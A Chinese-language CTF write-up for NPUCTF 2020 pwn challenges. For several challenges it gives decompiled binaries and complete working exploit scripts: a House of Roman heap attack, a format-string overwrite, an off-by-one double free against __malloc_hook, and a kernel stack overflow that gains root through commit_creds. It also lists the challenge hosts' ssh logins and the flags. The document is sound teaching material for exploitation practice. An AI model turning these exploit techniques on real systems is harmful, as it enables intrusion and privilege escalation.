【WriteUp】NPUCTF 2020 -- Pwn 题解(未完)

Ezdrv 不会哇,貌似是 Kernel UAF 利用,赛后复现吧

BAD GUY

Description:

ubuntu16.04


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

House of Roman

没啥好说的

main 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // eax
const char **v4; // [rsp+0h] [rbp-20h]

v4 = argv;
prog_init();
while ( 1 )
{
while ( 1 )
{
puts("=== Bad Guy ===");
puts("1. Malloc");
puts("2. Edit");
puts("3. Free");
printf(">> ", v4);
v3 = read_num();
if ( v3 != 2 )
break;
edit();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
delete();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("2333, Bad Guy!");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}

add 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssize_t add()
{
__int64 v0; // rax
unsigned __int64 v2; // [rsp+0h] [rbp-10h]
void *size; // [rsp+8h] [rbp-8h]

printf("Index :");
v0 = read_num();
printf("size: ", v0);
size = (void *)read_num();
heaparray[2 * v2 + 1] = malloc((size_t)size);
if ( !heaparray[2 * v2 + 1] || v2 > 0xA )
{
puts("Bad Guy!");
exit(1);
}
heaparray[2 * v2] = size;
printf("Content:");
return read(0, heaparray[2 * v2 + 1], (size_t)size);
}

edit 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int edit()
{
__int64 v0; // rax
unsigned __int64 v2; // [rsp+0h] [rbp-10h]
__int64 nbytes; // [rsp+8h] [rbp-8h]

if ( count <= 0 )
{
puts("Bad Guy!");
exit(1);
}
--count;
printf("Index :");
v0 = read_num();
printf("size: ", v0);
nbytes = read_num();
if ( !heaparray[2 * v2 + 1] || v2 > 9 )
return puts("Bad Guy!");
printf("content: ");
return read(0, heaparray[2 * v2 + 1], nbytes);
}

delete 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int delete()
{
void **v0; // rax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

printf("Index :");
v2 = read_num();
if ( heaparray[2 * v2 + 1] || v2 > 0xA )
{
free(heaparray[2 * v2 + 1]);
v0 = &heaparray[2 * v2 + 1];
*v0 = 0LL;
}
else
{
LODWORD(v0) = puts("Bad Guy!");
}
return (signed int)v0;
}

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
while True:
try:
if debug == 1:
p = process('./chall')
else:
p = remote('ha1cyon-ctf.fun', 30175)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]


def add(add_idx, add_size, add_content):
p.sendlineafter('>> ', '1')
p.sendlineafter('Index :', str(add_idx))
p.sendlineafter('size: ', str(add_size))
p.sendafter('Content:', add_content)


def edit(edit_idx, edit_size, edit_content):
p.sendlineafter('>> ', '2')
p.sendlineafter('Index :', str(edit_idx))
p.sendlineafter('size: ', str(edit_size))
p.sendafter('content: ', edit_content)


def delete(delete_idx):
p.sendlineafter('>> ', '3')
p.sendlineafter('Index :', str(delete_idx))


add(0, 0x18, 'a')
add(1, 0xc8, 'a')
add(2, 0x60, 'a')
edit(1, 0x200, 'b' * 0x68 + p64(0x61))
delete(1)
add(1, 0xc8, p16(0xd5dd))
add(3, 0x60, 'a')
add(4, 0x60, 'a')
edit(0, 0x200, 'b' * 0x18 + p64(0x71))
delete(2)
delete(4)
edit(3, 0x200, 'b' * 0x68 + p64(0x71) + '\x20')
add(0, 0x60, 'a')
add(0, 0x60, 'a')
add(0, 0x60, '\x00' * 0x33 + p64(0xfbad1887) + p64(0) * 3 + '\x00')
p.recv(0x40)

addr__IO_2_1_stdout_ = u64(p.recv(8)) + 0x20
libcbase = addr__IO_2_1_stdout_ - libc.sym['_IO_2_1_stdout_']
addr___malloc_hook = libcbase + libc.sym['__malloc_hook']
addr_one_gadget = libcbase + libc_one_gadget[3]

add(1, 0x60, 'a')
add(2, 0x18, 'a')
add(3, 0x60, 'a')
delete(1)
delete(3)
pd = 'b' * 0x10
pd += p64(0)
pd += p64(0x71)
pd += p64(addr___malloc_hook - 0x23)
edit(2, 0x200, pd)
add(0, 0x60, 'a')
add(0, 0x60, 'a' * 0x13 + p64(addr_one_gadget))
success('addr__IO_2_1_stdout_ = ' + hex(addr__IO_2_1_stdout_))
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
# gdb.attach(p, "b *$rebase(0xCDE)\nc")
p.sendlineafter('>> ', '1')
p.sendlineafter('Index :', '2')
p.sendlineafter('size: ', '96')
p.interactive()
break
except EOFError:
p.close()
continue

Flag:

1
动态靶机

level2

Description:

ubuntu18.04


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

main 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
read(0, buf, 0x64uLL);
if ( !strcmp(buf, "66666666") )
break;
printf(buf, "66666666");
}
return 0;
}

格式化字符串再放送,每次改的值不要太大就好,不然容易丢失信息

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('ha1cyon-ctf.fun', 30086)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]

p.sendline('%7$p')
addr___libc_start_main = int(p.recv(14), 16) - 231
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr___malloc_hook = libcbase + libc.sym['__malloc_hook']
addr_one_gadget = libcbase + libc_one_gadget[0]

sleep(1)
p.recv()
p.sendline('%9$p')
addr_stack = int(p.recv(14), 16) - 0xe0


stackbase = addr_stack & 0xffff
p.sendlineafter('\n', '%' + str(stackbase) + 'c%9$hn\x00')
p.sendlineafter('\x20\x20\xb4', '%' + str(addr_one_gadget & 0xff) + 'c%35$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%' + str(stackbase + 1) + 'c%9$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%' + str(addr_one_gadget >> 8 & 0xff) + 'c%35$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%' + str(stackbase + 2) + 'c%9$hhn\x00')
# gdb.attach(p, "b *$rebase(0x81F)\nb *$rebase(0x826)\nc\nc")
p.sendlineafter('\x20\x20\xb4', '%' + str(addr_one_gadget >> 16 & 0xff) + 'c%35$hhn\x00')
p.sendline('66666666\x00')
p.recv()
success('addr_one_gadget = ' + hex(addr_one_gadget))
success('stackbase = ' + hex(stackbase))
success('addr_stack = ' + hex(addr_stack))
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
p.interactive()

Flag:

1
flag{1317466f-96a2-4be9-8a23-1d7e04a3b04e}

easyheap

Description:

ubuntu18.04


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
const char *v4; // rdi
char buf; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
v3 = 0LL;
v4 = (const char *)stdin;
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu(v4, v3);
v3 = &buf;
read(0, &buf, 4uLL);
v4 = &buf;
atoi(&buf);
switch ( (unsigned int)off_401140 )
{
case 1u:
create(&buf, &buf);
break;
case 2u:
edit(&buf, &buf);
break;
case 3u:
show(&buf, &buf);
break;
case 4u:
delete(&buf, &buf);
break;
case 5u:
exit(0);
return;
default:
v4 = "Invalid Choice";
puts("Invalid Choice");
break;
}
}
}

create 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
unsigned __int64 create()
{
_QWORD *v0; // rbx
signed int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
heaparray[i] = malloc(0x10uLL);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap(0x10 or 0x20 only) : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
if ( size != 24 && size != 0x38 )
exit(-1);
v0 = heaparray[i];
v0[1] = malloc(size);
if ( !heaparray[i][1] )
{
puts("Allocate Error");
exit(2);
}
*heaparray[i] = size;
printf("Content:", &buf);
read_input((void *)heaparray[i][1], size);
puts("Done!");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}

edit 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 edit()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index :");
read(0, (char *)&v1 + 4, 4uLL);
LODWORD(v1) = atoi((const char *)&v1 + 4);
if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[(signed int)v1] )
{
printf("Content: ", (char *)&v1 + 4, v1);
read_input((void *)heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL);
puts("Done!");
}
else
{
puts("How Dare you!");
}
return __readfsqword(0x28u) ^ v2;
}

这里有off-by-one漏洞

show 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 show()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index :");
read(0, (char *)&v1 + 4, 4uLL);
LODWORD(v1) = atoi((const char *)&v1 + 4);
if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[(signed int)v1] )
{
printf("Size : %ld\nContent : %s\n", *heaparray[(signed int)v1], heaparray[(signed int)v1][1], v1);
puts("Done!");
}
else
{
puts("How Dare you!");
}
return __readfsqword(0x28u) ^ v2;
}

delete 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 delete()
{
int v1; // [rsp+0h] [rbp-10h]
char buf; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free((void *)heaparray[v1][1]);
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("How Dare you!");
}
return __readfsqword(0x28u) ^ v3;
}

利用off-by-one漏洞打出一片天,先设置好用来double free的 chunk 并设置 8 个 0xc1 大小的 chunk

然后 free 8 次它们使 unsorted bin 出现,生成一个 chunk 得到 libc 内容,靠 show 泄露出来

之后利用之前设置好的 double free 的 chunk 进行__malloc_hook__realloc_hook的改写即可,此题需要修改栈空间

嗯,做完后看了看别人的题解,原来这题 got 表可改,原来我自己把难度提升到 max 了,可

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('ha1cyon-ctf.fun', 30086)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]


def add(add_size, add_content):
p.sendlineafter('Your choice :', '1')
p.sendlineafter('0x20 only) : ', str(add_size))
p.sendafter('Content:', add_content)


def edit(edit_idx, edit_content):
p.sendlineafter('Your choice :', '2')
p.sendlineafter('Index :', str(edit_idx))
p.sendafter('Content: ', edit_content)


def show(show_idx):
p.sendlineafter('Your choice :', '3')
p.sendlineafter('Index :', str(show_idx))
p.recvuntil('Content : ')


def delete(delete_idx):
p.sendlineafter('Your choice :', '4')
p.sendlineafter('Index :', str(delete_idx))


for i in range(0, 9):
add(0x18, 'A')
for i in range(0, 8):
edit(i, 'a' * 0x18 + '\xc1')
for i in range(1, 8):
delete(i)
for i in range(1, 6):
add(0x18, 'A')
delete(5)
add(0x38, 'A')
add(0x18, 'A')
add(0x18, 'A')
add(0x38, 'A')
pd = 'a' * 0x10
pd += p64(0) + p64(0x21)
pd += 'a' * 0x18
pd += '\x41'
edit(5, pd)
delete(6)
pd = 'a' * 0x10
pd += p64(0) + p64(0x21)
pd += p64(0xdeadbeef) + '\x40'
add(0x38, pd)
delete(8)
for i in range(0, 5):
delete(i)
add(0x38, '\x50')
show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x120
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr___libc_realloc = libcbase + libc.sym['__libc_realloc']
addr_one_gadget = libcbase + libc_one_gadget[2]

delete(6)
delete(7)
add(0x38, p64(addr___malloc_hook - 0x10))
add(0x38, p64(addr___malloc_hook - 0x10))
pd = '\x00' * 8
pd += p64(addr_one_gadget)
pd += p64(addr___libc_realloc + 6)
add(0x38, pd)
# gdb.attach(p, "b malloc\nc")
p.sendlineafter('Your choice :', '1')
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('libcbase = ' + hex(libcbase))
success('addr_one_gadget = ' + hex(addr_one_gadget))
p.interactive()

Flag:

1
动态靶机

Learn-Kernel-From-ROP

Description:

Access Method

ssh pwn1@120.131.1.57

password:pwn1

请师傅们善待学生机Orz


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

新生赛出内核题,果然我是新生

start.sh 文件如下:

1
2
3
4
5
6
7
8
#!/bin/bash
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr" \
-cpu kvm64 \
--nographic

init 文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mdev -s

echo "npuctf{thisisexample}" > /root/flag
chown root:root /root/flag
chmod 400 /root/flag

chown -R root:root /bin
chown -R root:root /init
chmod 755 /bin/*
chmod 700 /init

echo 1 > /proc/sys/kernel/dmesg_restrict

insmod /ezdriver.ko
chmod 777 /dev/vuln

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
poweroff -d 0 -f

vuln_write 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ssize_t __fastcall vuln_write(file *f, const char *buf, size_t len, loff_t *off)
{
ssize_t v4; // rdx
ssize_t v5; // rbx
char buffer[100]; // [rsp+0h] [rbp-74h]

_fentry__();
v5 = v4;
*buffer = 0LL;
memset(&buffer[4], 0, 0x60uLL);
if ( copy_from_user(buffer) )
return -1LL;
printk("[*] Write successfully.\n");
return v5;
}

没 rop 的内核,直接覆盖返回地址就提权了

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <err.h>
#include <fcntl.h>
#include <stdint.h>

struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;

uint64_t(*commit_creds)(uint64_t cred) = 0xffffffff81082e70;
uint64_t(*prepare_kernel_cred)(uint64_t cred) = 0xffffffff81083240;

void shell(){
system("/bin/sh");
}

void templine(){
commit_creds(prepare_kernel_cred(0));
asm(
"movq $tf, %rsp;"
"swapgs;"
"iretq;"
);
}

void save_status(){
asm(
"mov %%cs, %0;"
"mov %%ss,%1;"
"mov %%rsp,%3;"
"pushfq;"
"popq %2;"
:"=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp)
:
: "memory"
);
tf.rsp -= 0x1000;
tf.rip = &shell;
}


int main(){
save_status();
int temp[0x100];
int driver_fd = open("/dev/vuln", O_RDWR);
if(driver_fd < 0){
err(2, "open failed");
}
temp[0x1d] = &templine;
write(driver_fd, &temp, 0x100);
return 0;
}

Flag:

1
npuctf{d17b9c8a-9580-4c13-8776-477de6a5fc4f}

Ezdrv

Description:

Access Method

ssh pwn2@120.131.1.57

password:pwn2

请师傅们善待学生机Orz


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

exp 如下:

1
2



Flag:

1
动态靶机
文章目录
  1. 1. BAD GUY
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. level2
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. easyheap
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
  4. 4. Learn-Kernel-From-ROP
    1. 4.1. Description:
    2. 4.2. Solution:
    3. 4.3. Flag:
  5. 5. Ezdrv
    1. 5.1. Description:
    2. 5.2. Solution:
    3. 5.3. Flag:
|